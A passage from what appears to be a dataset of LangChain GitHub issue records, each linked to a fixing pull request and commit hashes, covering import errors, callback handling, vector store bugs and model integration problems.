libgomp 11.2.0 h1234567_1
libstdcxx-ng 11.2.0 h1234567_1
libuuid 1.41.5 h5eee18b_0
marshmallow 3.19.0 pyhd8ed1ab_0 conda-forge
marshmallow-enum 1.5.1 pyh9f0ad1d_3 conda-forge
mkl 2021.4.0 h06a4308_640
mkl-service 2.4.0 py310ha2c4b55_0 conda-forge
mkl_fft 1.3.1 py310hd6ae3a3_0
mkl_random 1.2.2 py310h00e6091_0
multidict 6.0.2 py310h5eee18b_0
mypy_extensions 1.0.0 pyha770c72_0 conda-forge
ncurses 6.4 h6a678d5_0
numexpr 2.8.4 py310h8879344_0
numpy 1.24.3 py310hd5efca6_0
numpy-base 1.24.3 py310h8e6c178_0
openapi-schema-pydantic 1.2.4 pyhd8ed1ab_0 conda-forge
openssl 1.1.1t h7f8727e_0
packaging 23.1 pyhd8ed1ab_0 conda-forge
pip 22.2.2 pypi_0 pypi
pycparser 2.21 pyhd8ed1ab_0 conda-forge
pydantic 1.10.2 py310h5eee18b_0
pyopenssl 20.0.1 pyhd8ed1ab_0 conda-forge
pysocks 1.7.1 pyha2e5f31_6 conda-forge
python 3.10.9 h7a1cb2a_2
python_abi 3.10 2_cp310 conda-forge
pyyaml 6.0 py310h5764c6d_4 conda-forge
readline 8.2 h5eee18b_0
requests 2.29.0 pyhd8ed1ab_0 conda-forge
setuptools 66.0.0 py310h06a4308_0
six 1.16.0 pyh6c4a22f_0 conda-forge
sqlalchemy 1.4.39 py310h5eee18b_0
sqlite 3.41.2 h5eee18b_0
stringcase 1.2.0 py_0 conda-forge
tenacity 8.2.2 pyhd8ed1ab_0 conda-forge
tk 8.6.12 h1ccaba5_0
tqdm 4.65.0 pyhd8ed1ab_1 conda-forge
typing-extensions 4.5.0 hd8ed1ab_0 conda-forge
typing_extensions 4.5.0 pyha770c72_0 conda-forge
typing_inspect 0.8.0 pyhd8ed1ab_0 conda-forge
tzdata 2023c h04d1e81_0
urllib3 1.26.15 pyhd8ed1ab_0 conda-forge
wheel 0.38.4 py310h06a4308_0
xz 5.4.2 h5eee18b_0
yaml 0.2.5 h7f98852_2 conda-forge
yarl 1.7.2 py310h5764c6d_2 conda-forge
zlib 1.2.13 h5eee18b_0
Traceback (most recent call last):
File "/home/bachar/projects/op-stack/./app.py", line 1, in <module>
from langchain.document_loaders import DirectoryLoader
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/__init__.py", line 6, in <module>
from langchain.agents import MRKLChain, ReActChain, SelfAskWithSearchChain
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/agents/__init__.py", line 2, in <module>
from langchain.agents.agent import (
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/agents/agent.py", line 15, in <module>
from langchain.agents.tools import InvalidTool
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/agents/tools.py", line 8, in <module>
from langchain.tools.base import BaseTool, Tool, tool
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/tools/__init__.py", line 32, in <module>
from langchain.tools.vectorstore.tool import (
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/tools/vectorstore/tool.py", line 13, in <module>
from langchain.chains import RetrievalQA, RetrievalQAWithSourcesChain
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/chains/__init__.py", line 19, in <module>
from langchain.chains.loading import load_chain
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/chains/loading.py", line 24, in <module>
from langchain.chains.sql_database.base import SQLDatabaseChain
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/chains/sql_database/base.py", line 15, in <module>
from langchain.sql_database import SQLDatabase
File "/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/langchain/sql_database.py", line 8, in <module>
from sqlalchemy import (
ImportError: cannot import name 'CursorResult' from 'sqlalchemy' (/home/bachar/projects/op-stack/venv/lib/python3.10/site-packages/sqlalchemy/__init__.py)
(/home/bachar/projects/op-stack/venv)
### Who can help?
_No response_
### Information
- [ ] The official example notebooks/scripts
- [ ] My own modified scripts
### Related Components
- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [X] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async
### Reproduction
from langchain.document_loaders import DirectoryLoader
docs = DirectoryLoader("./pdfs", "**/*.pdf").load()
### Expected behavior
no errors should be thrown | https://github.com/langchain-ai/langchain/issues/4142 | https://github.com/langchain-ai/langchain/pull/4145 | 2f087d63af45a172fc363b3370e49141bd663ed2 | fea639c1fc1ac324f1300016a02b6d30a2f8d249 | 2023-05-05T00:47:24Z | python | 2023-05-05T03:46:38Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,129 | ["langchain/sql_database.py", "pyproject.toml"] | Bug introduced in 0.0.158 | Updates in version 0.0.158 have introduced a bug that prevents this import from being successful, while it works in 0.0.157
```
Traceback (most recent call last):
File "path", line 5, in <module>
from langchain.chains import OpenAIModerationChain, SequentialChain, ConversationChain
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/__init__.py", line 6, in <module>
from langchain.agents import MRKLChain, ReActChain, SelfAskWithSearchChain
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/agents/__init__.py", line 2, in <module>
from langchain.agents.agent import (
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/agents/agent.py", line 15, in <module>
from langchain.agents.tools import InvalidTool
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/agents/tools.py", line 8, in <module>
from langchain.tools.base import BaseTool, Tool, tool
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/tools/__init__.py", line 32, in <module>
from langchain.tools.vectorstore.tool import (
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/tools/vectorstore/tool.py", line 13, in <module>
from langchain.chains import RetrievalQA, RetrievalQAWithSourcesChain
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/chains/__init__.py", line 19, in <module>
from langchain.chains.loading import load_chain
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/chains/loading.py", line 24, in <module>
from langchain.chains.sql_database.base import SQLDatabaseChain
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/chains/sql_database/base.py", line 15, in <module>
from langchain.sql_database import SQLDatabase
File "/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/langchain/sql_database.py", line 8, in <module>
from sqlalchemy import (
ImportError: cannot import name 'CursorResult' from 'sqlalchemy' (/Users/chasemcdo/.pyenv/versions/3.11.1/lib/python3.11/site-packages/sqlalchemy/__init__.py)
``` | https://github.com/langchain-ai/langchain/issues/4129 | https://github.com/langchain-ai/langchain/pull/4145 | 2f087d63af45a172fc363b3370e49141bd663ed2 | fea639c1fc1ac324f1300016a02b6d30a2f8d249 | 2023-05-04T19:24:15Z | python | 2023-05-05T03:46:38Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,120 | ["langchain/document_loaders/url_selenium.py"] | [Feature Request] Allow users to pass additional arguments to the WebDriver | Description:
Currently, when creating a Chrome or Firefox web driver using the `selenium.webdriver` module, users can only pass a limited set of arguments such as `headless` mode and hardcoded `no-sandbox`. However, there are many additional options available for these browsers that cannot be passed in using the existing API. I personally was limited by this when I had to add the `--disable-dev-shm-usage` and `--disable-gpu` arguments to the Chrome WebDeriver.
To address this limitation, I propose adding a new `arguments` parameter to the `SeleniumURLLoader` that allows users to pass additional arguments as a list of strings.
| https://github.com/langchain-ai/langchain/issues/4120 | https://github.com/langchain-ai/langchain/pull/4121 | 2a3c5f83537817d06ea8fad2836bbcd1cb33a551 | 19e28d8784adef90553da071ed891fc3252b2c63 | 2023-05-04T18:15:03Z | python | 2023-05-05T20:24:42Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,096 | ["langchain/agents/load_tools.py", "tests/unit_tests/agents/test_tools.py"] | Callbacks are ignored when passed to load_tools | Hello,
I cannot figure out how to pass callback when using `load_tools`, I used to pass a callback_manager but I understand that it's now deprecated. I was able to reproduce with the following snippet:
```python
from langchain.agents import load_tools
from langchain.callbacks.base import BaseCallbackHandler
from langchain.tools import ShellTool
class MyCustomHandler(BaseCallbackHandler):
def on_tool_start(self, serialized, input_str: str, **kwargs):
"""Run when tool starts running."""
print("ON TOOL START!")
def on_tool_end(self, output: str, **kwargs):
"""Run when tool ends running."""
print("ON TOOL END!")
# load_tools doesn't works
print("LOAD TOOLS!")
tools = load_tools(["terminal"], callbacks=[MyCustomHandler()])
print(tools[0].run({"commands": ["echo 'Hello World!'", "time"]}))
# direct tool instantiation works
print("Direct tool")
shell_tool = ShellTool(callbacks=[MyCustomHandler()])
print(shell_tool.run({"commands": ["echo 'Hello World!'", "time"]}))
```
Here is the output I'm seeing:
```
LOAD TOOLS!
/home/lothiraldan/project/cometml/langchain/langchain/tools/shell/tool.py:33: UserWarning: The shell tool has no safeguards by default. Use at your own risk.
warnings.warn(
Hello World!
user 0m0,00s
sys 0m0,00s
Direct tool
ON TOOL START!
ON TOOL END!
Hello World!
user 0m0,00s
sys 0m0,00s
```
In this example, when I pass the callbacks to `load_tools`, the `on_tool_*` methods are not called. But maybe it's not the correct way to pass callbacks to the `load_tools` helper.
I reproduced with Langchain master, specifically the following commit https://github.com/hwchase17/langchain/commit/a9c24503309e2e3eb800f335e0fbc7c22531bda0.
Pip list output:
```
Package Version Editable project location
----------------------- --------- -------------------------------------------
aiohttp 3.8.4
aiosignal 1.3.1
async-timeout 4.0.2
attrs 23.1.0
certifi 2022.12.7
charset-normalizer 3.1.0
dataclasses-json 0.5.7
frozenlist 1.3.3
greenlet 2.0.2
idna 3.4
langchain 0.0.157 /home/lothiraldan/project/cometml/langchain
marshmallow 3.19.0
marshmallow-enum 1.5.1
multidict 6.0.4
mypy-extensions 1.0.0
numexpr 2.8.4
numpy 1.24.3
openai 0.27.6
openapi-schema-pydantic 1.2.4
packaging 23.1
pip 23.0.1
pydantic 1.10.7
PyYAML 6.0
requests 2.29.0
setuptools 67.6.1
SQLAlchemy 2.0.12
tenacity 8.2.2
tqdm 4.65.0
typing_extensions 4.5.0
typing-inspect 0.8.0
urllib3 1.26.15
wheel 0.40.0
yarl 1.9.2
``` | https://github.com/langchain-ai/langchain/issues/4096 | https://github.com/langchain-ai/langchain/pull/4298 | 0870a45a697a75ac839b724311ce7a8b59a09058 | 35c9e6ab407003e0c1f16fcf6d4c73f6637db731 | 2023-05-04T09:05:12Z | python | 2023-05-08T15:44:26Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,053 | ["langchain/tools/base.py", "tests/unit_tests/agents/test_tools.py"] | Tools with partials (Partial functions not yet supported in tools) | We commonly used this pattern to create tools:
```py
from langchain.tools import Tool
from functools import partial
def foo(x, y):
return y
Tool.from_function(
func=partial(foo, "bar"),
name = "foo",
description="foobar"
)
```
which as of 0.0.148 (I think) gives a pydantic error "Partial functions not yet supported in tools." We must use instead this format:
```py
from langchain.tools import Tool
from functools import partial
def foo(x, y):
return y
Tool.from_function(
func=lambda y: foo(x="bar",y=y),
name = "foo",
description="foobar"
)
```
It would be nice to again support partials. | https://github.com/langchain-ai/langchain/issues/4053 | https://github.com/langchain-ai/langchain/pull/4058 | 7e967aa4d581bec8b29e9ea44267505b0bad18b9 | afa9d1292b0a152e36d338dde7b02f0b93bd37d9 | 2023-05-03T17:28:46Z | python | 2023-05-03T20:16:41Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,052 | ["docs/modules/indexes/document_loaders/examples/arxiv.ipynb"] | Arxiv loader does not work | Hey,
I tried to use the Arxiv loader but it seems that this type of document does not exist anymore. The documentation is still there https://python.langchain.com/en/latest/modules/indexes/document_loaders/examples/arxiv.html
Do you have any details on that? | https://github.com/langchain-ai/langchain/issues/4052 | https://github.com/langchain-ai/langchain/pull/4068 | 374725a715d287fe2ddb9dfda36e0dc14efa254d | 9b830f437cdfd82d9b53bd38e58b27bb9ecf970c | 2023-05-03T16:23:51Z | python | 2023-05-04T00:54:30Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,997 | ["docs/modules/models/chat/integrations/anthropic.ipynb", "docs/modules/models/llms/integrations/llamacpp.ipynb"] | Llama-cpp docs loading has CallbackManager error | As in title, I think it might be because of deprecation and renaming at some point? Updated to use BaseCallbackManager in PR #3996 , please merge, thanks! | https://github.com/langchain-ai/langchain/issues/3997 | https://github.com/langchain-ai/langchain/pull/4010 | f08a76250fe8995fb3f05bf785677070922d4b0d | df3bc707fc916811183d2487e2fac5dc69327177 | 2023-05-02T20:13:28Z | python | 2023-05-02T23:20:16Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,988 | ["langchain/callbacks/openai_info.py", "tests/unit_tests/callbacks/test_openai_info.py"] | LangChain openAI callback doesn't allow finetuned models | Hi all!
I have an [application](https://github.com/ur-whitelab/BO-LIFT) based on langchain.
A few months ago, I used it with fine-tuned (FT) models.
We added a token usage counter later, and I haven't tried fine-tuned models again since then.
Recently we have been interested in using (FT) models again, but the callback to expose the token usage isn't accepting the model.
Minimal code to reproduce the error:
```
from langchain.llms import OpenAI
from langchain.callbacks import get_openai_callback
llm = OpenAI(
model_name=FT_MODEL,
temperature=0.7,
n=5,
max_tokens=64,
)
with get_openai_callback() as cb:
completion_response = llm.generate(["QUERY"])
token_usage = cb.total_tokens
```
It works fine if the model name is a basic openAI model. For instance, ```model_name="text-davinci-003"```
But when I try to use one of my FT models, I get this error:
```
Error in on_llm_end callback: Unknown model: FT_MODEL. Please provide a valid OpenAI model name.Known models are: gpt-4, gpt-4-0314, gpt-4-completion, gpt-4-0314-completion, gpt-4-32k, gpt-4-32k-0314, gpt-4-32k-completion, gpt-4-32k-0314-completion, gpt-3.5-turbo, gpt-3.5-turbo-0301, text-ada-001, ada, text-babbage-001, babbage, text-curie-001, curie, text-davinci-003, text-davinci-002, code-davinci-002
```
It works if I remove the callback and avoid token counting, but it'd be nice to have any suggestions on how to make it work.
Is there a workaround for that?
Any help is welcome!
Thanks! | https://github.com/langchain-ai/langchain/issues/3988 | https://github.com/langchain-ai/langchain/pull/4009 | aa383559999b3d6a781c62ed7f8589fef8892879 | f08a76250fe8995fb3f05bf785677070922d4b0d | 2023-05-02T18:00:22Z | python | 2023-05-02T23:19:57Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,983 | ["langchain/chains/loading.py", "langchain/chains/retrieval_qa/base.py", "tests/integration_tests/chains/test_retrieval_qa.py"] | RetrievalQA & RetrievalQAWithSourcesChain chains cannot be serialized/saved or loaded | `VectorDBQA` is being deprecated in favour of `RetrievalQA` & similarly, `VectorDBQAWithSourcesChain` is being deprecated for `RetrievalQAWithSourcesChain`.
Currently, `VectorDBQA` & `VectorDBQAWithSourcesChain` chains can be serialized using `vec_chain.save(...)` because they have `_chain_type` property - https://github.com/hwchase17/langchain/blob/3bd5a99b835fa320d02aa733cb0c0bc4a87724fa/langchain/chains/qa_with_sources/vector_db.py#L67
However, `RetrievalQA` & `RetrievalQAWithSourcesChain` do not have that property and raise the following error when trying to save with `ret_chain.save("ret_chain.yaml")`:
```
File [~/.pyenv/versions/3.8.15/envs/internalqa/lib/python3.8/site-packages/langchain/chains/base.py:45](https://file+.vscode-resource.vscode-cdn.net/Users/smohammed/Development/hackweek-internalqa/~/.pyenv/versions/3.8.15/envs/internalqa/lib/python3.8/site-packages/langchain/chains/base.py:45), in Chain._chain_type(self)
[43](file:///Users/smohammed/.pyenv/versions/3.8.15/envs/internalqa/lib/python3.8/site-packages/langchain/chains/base.py?line=42) @property
[44](file:///Users/smohammed/.pyenv/versions/3.8.15/envs/internalqa/lib/python3.8/site-packages/langchain/chains/base.py?line=43) def _chain_type(self) -> str:
---> [45](file:///Users/smohammed/.pyenv/versions/3.8.15/envs/internalqa/lib/python3.8/site-packages/langchain/chains/base.py?line=44) raise NotImplementedError("Saving not supported for this chain type.")
NotImplementedError: Saving not supported for this chain type.
```
There isn't any functions to support loading RetrievalQA either, unlike the VectorQA counterparts: https://github.com/hwchase17/langchain/blob/3bd5a99b835fa320d02aa733cb0c0bc4a87724fa/langchain/chains/loading.py#L313-L356
| https://github.com/langchain-ai/langchain/issues/3983 | https://github.com/langchain-ai/langchain/pull/5818 | b93638ef1ef683dfbb46e8e7654e96325324a98c | 5518f24ec38654510bada81025fe4e96c26556a7 | 2023-05-02T16:17:48Z | python | 2023-06-08T04:07:13Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,896 | ["langchain/vectorstores/faiss.py"] | Remove duplication when creating and updating FAISS Vecstore | The `FAISS.add_texts` and `FAISS.merge_from` don't check duplicated document contents, and always add contents into Vecstore.
```ruby
test_db = FAISS.from_texts(['text 2'], embeddings)
test_db.add_texts(['text 1', 'text 2', 'text 1'])
print(test_db.index_to_docstore_id)
test_db.docstore._dict
```
Note that 'text 1' and 'text 2' are both added twice with different indices.
```
{0: '12a6a477-db74-4d90-b843-4cd872e070a0', 1: 'a3171e0e-f12a-418f-9994-5625550de73e', 2: '543f8fcf-bf84-4d9e-a6a9-f87fda0afcc3', 3: 'ed320a75-775f-4ec2-ae0b-fef8fa8d0bfe'}
{'12a6a477-db74-4d90-b843-4cd872e070a0': Document(page_content='text 2', lookup_str='', metadata={}, lookup_index=0),
'a3171e0e-f12a-418f-9994-5625550de73e': Document(page_content='text 1', lookup_str='', metadata={}, lookup_index=0),
'543f8fcf-bf84-4d9e-a6a9-f87fda0afcc3': Document(page_content='text 2', lookup_str='', metadata={}, lookup_index=0),
'ed320a75-775f-4ec2-ae0b-fef8fa8d0bfe': Document(page_content='text 1', lookup_str='', metadata={}, lookup_index=0)}
```
Also the embedding values are the same
```ruby
np.dot(test_db.index.reconstruct(0), test_db.index.reconstruct(2))
```
```
1.0000001
```
**Expected Behavior:**
Similar to database `upsert`, create new index if key (content or embedding) doesn't exist, otherwise update the value (document metadata in this case).
I'm pretty new to LangChain, so if I'm missing something or doing it wrong, apologies and please suggest the best practice on dealing with LangChain FAISS duplication - otherwise, hope this is useful feedback, thanks!
| https://github.com/langchain-ai/langchain/issues/3896 | https://github.com/langchain-ai/langchain/pull/5190 | f0ea093de867e5f099a4b5de2bfa24d788b79133 | 40b086d6e891a3cd1e678b1c8caac23b275d485c | 2023-05-01T17:31:28Z | python | 2023-05-25T05:26:46Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,893 | ["langchain/vectorstores/redis.py"] | AttributeError: 'Redis' object has no attribute 'module_list' | I'm trying to make a vectorstore using redis and store the embeddings in redis.
When I write the code
rds = Redis.from_documents(docs, embeddings, redis_url="redis://localhost:6379", index_name='test_link')
I get the following error
AttributeError: 'Redis' object has no attribute 'module_list'.
Note: I'm trying to run redis locally on windows subsystem ubuntu.
Please help. | https://github.com/langchain-ai/langchain/issues/3893 | https://github.com/langchain-ai/langchain/pull/4932 | a87a2524c7f8f55846712a682ffc80b5fc224b73 | 616e9a93e08f4f042c492b89545e85e80592ffbe | 2023-05-01T17:02:43Z | python | 2023-05-19T20:02:03Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,839 | ["docs/modules/models/llms/integrations/gpt4all.ipynb", "langchain/llms/gpt4all.py"] | Unable to use gpt4all model | Hi Team,
I am getting below error while trying to use the gpt4all model, Can someone please advice ?
Error:
```
File "/home/ubuntu/.local/share/virtualenvs/local-conversational-ai-chatbot-using-gpt4-6TvxabtR/lib/python3.10/site-packages/langchain/llms/gpt4all.py", line 181, in _call
text = self.client.generate(
TypeError: Model.generate() got an unexpected keyword argument 'new_text_callback'
```
Code:
```
from langchain import PromptTemplate, LLMChain
from langchain.llms import GPT4All
from langchain.callbacks.base import CallbackManager
from langchain.callbacks.streaming_stdout import StreamingStdOutCallbackHandler
template = """Question: {question}
Answer: Let's think step by step."""
prompt = PromptTemplate(template=template, input_variables=["question"])
local_path = './models/ggjt-model.bin'
# Callbacks support token-wise streaming
callback_manager = CallbackManager([StreamingStdOutCallbackHandler()])
# Verbose is required to pass to the callback manager
llm = GPT4All(model=local_path, callback_manager=callback_manager, verbose=True)
llm_chain = LLMChain(prompt=prompt, llm=llm)
question = "What NFL team won the Super Bowl in the year Justin Bieber was born?"
llm_chain.run(question)
```
| https://github.com/langchain-ai/langchain/issues/3839 | https://github.com/langchain-ai/langchain/pull/4567 | e2d7677526bd649461db38396c0c3b21f663f10e | c9e2a0187549f6fa2661b943c13af9d63d44eee1 | 2023-04-30T17:49:59Z | python | 2023-05-18T16:38:54Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,685 | ["libs/langchain/langchain/retrievers/time_weighted_retriever.py"] | TimeWeightedVectorStoreRetriever (TWVSR) and ChromaDb vector store - base.py | Hi there.
Realise there is a lot happening and this this looks to be something that has been missed. When trying to use TWVSR with ChromaDb it errors because of the lack of implementation of the following, namely __similarity_search_with_relevance_scores, inside of base.py
`def _similarity_search_with_relevance_scores(
self,
query: str,
k: int = 4,
**kwargs: Any,
) -> List[Tuple[Document, float]]:
"""Return docs and relevance scores, normalized on a scale from 0 to 1.
0 is dissimilar, 1 is most similar.
"""
raise NotImplementedError`
Trying to make a work-around now
Many thanks
Ian | https://github.com/langchain-ai/langchain/issues/3685 | https://github.com/langchain-ai/langchain/pull/9906 | bc8cceebf7b2d8e056b905926a6009367b6a8b14 | 4dc47bd3acc8928359773fc3fb80d289b9eae55e | 2023-04-28T00:16:05Z | python | 2023-09-03T22:05:30Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,664 | ["langchain/utilities/bash.py", "pyproject.toml"] | import error when importing `from langchain import OpenAI` on 0.0.151 | got the following error when running today:
``` File "venv/lib/python3.11/site-packages/langchain/__init__.py", line 6, in <module>
from langchain.agents import MRKLChain, ReActChain, SelfAskWithSearchChain
File "venv/lib/python3.11/site-packages/langchain/agents/__init__.py", line 2, in <module>
from langchain.agents.agent import (
File "venv/lib/python3.11/site-packages/langchain/agents/agent.py", line 17, in <module>
from langchain.chains.base import Chain
File "venv/lib/python3.11/site-packages/langchain/chains/__init__.py", line 2, in <module>
from langchain.chains.api.base import APIChain
File "venv/lib/python3.11/site-packages/langchain/chains/api/base.py", line 8, in <module>
from langchain.chains.api.prompt import API_RESPONSE_PROMPT, API_URL_PROMPT
File "venv/lib/python3.11/site-packages/langchain/chains/api/prompt.py", line 2, in <module>
from langchain.prompts.prompt import PromptTemplate
File "venv/lib/python3.11/site-packages/langchain/prompts/__init__.py", line 14, in <module>
from langchain.prompts.loading import load_prompt
File "venv/lib/python3.11/site-packages/langchain/prompts/loading.py", line 14, in <module>
from langchain.utilities.loading import try_load_from_hub
File "venv/lib/python3.11/site-packages/langchain/utilities/__init__.py", line 5, in <module>
from langchain.utilities.bash import BashProcess
File "venv/lib/python3.11/site-packages/langchain/utilities/bash.py", line 7, in <module>
import pexpect
ModuleNotFoundError: No module named 'pexpect'
```
does this need to be added to project dependencies? | https://github.com/langchain-ai/langchain/issues/3664 | https://github.com/langchain-ai/langchain/pull/3667 | 708787dddb2fa3cdb2d1dabefa00c01ffec572f6 | 1b5721c999c9fc310cefec383666f43c80ec9620 | 2023-04-27T16:24:30Z | python | 2023-04-27T18:39:01Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,628 | ["langchain/vectorstores/chroma.py", "tests/integration_tests/vectorstores/test_chroma.py"] | Chroma.py max_marginal_relevance_search_by_vector method currently broken | Using MMR with Chroma currently does not work because the max_marginal_relevance_search_by_vector method calls self.__query_collection with the parameter "include:", but "include" is not an accepted parameter for __query_collection. This appears to be a regression introduced with #3372
Excerpt from max_marginal_relevance_search_by_vector method:
```
results = self.__query_collection(
query_embeddings=embedding,
n_results=fetch_k,
where=filter,
include=["metadatas", "documents", "distances", "embeddings"],
)
```
__query_collection does not accept include:
```
def __query_collection(
self,
query_texts: Optional[List[str]] = None,
query_embeddings: Optional[List[List[float]]] = None,
n_results: int = 4,
where: Optional[Dict[str, str]] = None,
) -> List[Document]:
```
This results in an unexpected keyword error.
The short term fix is to use self._collection.query instead of self.__query_collection in max_marginal_relevance_search_by_vector, although that loses the protection when the user requests more records than exist in the store.
```
results = self._collection.query(
query_embeddings=embedding,
n_results=fetch_k,
where=filter,
include=["metadatas", "documents", "distances", "embeddings"],
)
``` | https://github.com/langchain-ai/langchain/issues/3628 | https://github.com/langchain-ai/langchain/pull/3897 | 3e1cb31f63b5c7147939feca7f8095377f64e145 | 245131097557b73774197b01e326206fa2a1b83a | 2023-04-27T00:21:42Z | python | 2023-05-01T17:47:15Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,605 | ["langchain/embeddings/huggingface.py", "tests/integration_tests/embeddings/test_huggingface.py"] | Embeddings normalization and similarity metric | I am new to using Langchain and attempting to make it work with a locally running LLM (Alpaca) and Embeddings model (Sentence Transformer). When configuring the sentence transformer model with `HuggingFaceEmbeddings` no arguments can be passed to the encode method of the model, specifically `normalize_embeddings=True`. Neither can I specify the distance metric that I want to use in the `similarity_search` method irrespective of what vector store I am using. So it seems to me I can only create unnormalized embeddings with huggingface models and only use L2 distance as the similarity metric by default. Whereas I want to use the cosine similarity metric or have normalized embeddings and then use the dot product/L2 distance.
If I am wrong here can someone point me in the right direction. If not are there any plans to implement this? | https://github.com/langchain-ai/langchain/issues/3605 | https://github.com/langchain-ai/langchain/pull/5450 | e09afb4b4445c99bebabca4b2beb150ba3a37c5c | c1807d84086c92d1aea2eb7be181204e72ae10d0 | 2023-04-26T18:02:20Z | python | 2023-05-30T18:57:04Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,404 | ["docs/use_cases/autonomous_agents/marathon_times.ipynb", "langchain/tools/ddg_search/__init__.py"] | marathon_times.ipynb: mismatched text and code | Text mentions inflation and tuition:
Here is the prompt comparing inflation and college tuition.
Code is about marathon times:
agent.run(["What were the winning boston marathon times for the past 5 years? Generate a table of the names, countries of origin, and times."]) | https://github.com/langchain-ai/langchain/issues/3404 | https://github.com/langchain-ai/langchain/pull/3408 | b4de839ed8a1bea7425a6923b2cd635068b6015a | 73bc70b4fa7bb69647d9dbe81943b88ce6ccc180 | 2023-04-23T21:06:49Z | python | 2023-04-24T01:14:11Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,384 | ["langchain/math_utils.py", "langchain/vectorstores/utils.py", "tests/unit_tests/vectorstores/__init__.py", "tests/unit_tests/vectorstores/test_utils.py"] | ValueError in cosine_similarity when using FAISS index as vector store | Getting the below error
```
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "...\langchain\vectorstores\faiss.py", line 285, in max_marginal_relevance_search
docs = self.max_marginal_relevance_search_by_vector(embedding, k, fetch_k)
File "...\langchain\vectorstores\faiss.py", line 248, in max_marginal_relevance_search_by_vector
mmr_selected = maximal_marginal_relevance(
File "...\langchain\langchain\vectorstores\utils.py", line 19, in maximal_marginal_relevance
similarity_to_query = cosine_similarity([query_embedding], embedding_list)[0]
File "...\langchain\langchain\math_utils.py", line 16, in cosine_similarity
raise ValueError("Number of columns in X and Y must be the same.")
ValueError: Number of columns in X and Y must be the same.
```
Code to reproduce this error
```
>>> model_name = "sentence-transformers/all-mpnet-base-v2"
>>> model_kwargs = {'device': 'cpu'}
>>> from langchain.embeddings import HuggingFaceEmbeddings
>>> embeddings = HuggingFaceEmbeddings(model_name=model_name, model_kwargs=model_kwargs)
>>> from langchain.vectorstores import FAISS
>>> FAISS_INDEX_PATH = 'faiss_index'
>>> db = FAISS.load_local(FAISS_INDEX_PATH, embeddings)
>>> query = 'query'
>>> results = db.max_marginal_relevance_search(query)
```
While going through the error it seems that in this case `query_embedding` is 1 x model_dimension while embedding_list is no_docs x model dimension vectors. Hence we should probably change the code to `similarity_to_query = cosine_similarity(query_embedding, embedding_list)[0]` i.e. remove the list from the query_embedding.
Since this is a common function not sure if this change would affect other embedding classes as well. | https://github.com/langchain-ai/langchain/issues/3384 | https://github.com/langchain-ai/langchain/pull/3475 | 53b14de636080e09e128d829aafa9ea34ac34a94 | b2564a63911f8a77272ac9e93e5558384f00155c | 2023-04-23T07:51:56Z | python | 2023-04-25T02:54:15Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 3,301 | ["langchain/llms/llamacpp.py"] | Output using llamacpp is garbage | Hi there,
Trying to setup a langchain with llamacpp as a first step to use langchain offline:
`from langchain.llms import LlamaCpp
llm = LlamaCpp(model_path="../llama/models/ggml-vicuna-13b-4bit-rev1.bin")
text = "Question: What NFL team won the Super Bowl in the year Justin Bieber was born? Answer: Let's think step by step."
print(llm(text))`
The result is:
`Plenement that whciation - if a praged and as Work 1 -- but a nice bagingrading per 1, In Homewooded ETenscent is the 0sm toth, ECORO Efph at as an outs! ce, found unprint this a PC, Thom. The RxR-1 dot emD In Not OslKNOT
The Home On-a-a-a-aEOEfa-a-aP E. NOT, hotness of-aEF and Life in better-A (resondri Euler, rsa! Home WI Retection and O no-aL25 1 fate to Hosp doubate, p. T, this guiltEisenR-getus WEFI, duro as these disksada Tl.Eis-aRDA* plantly-aRing the Prospecttypen`
Running the same question using llama_cpp_python with the same model bin file, the result is (allthough wrong, correctly formatted):
`{
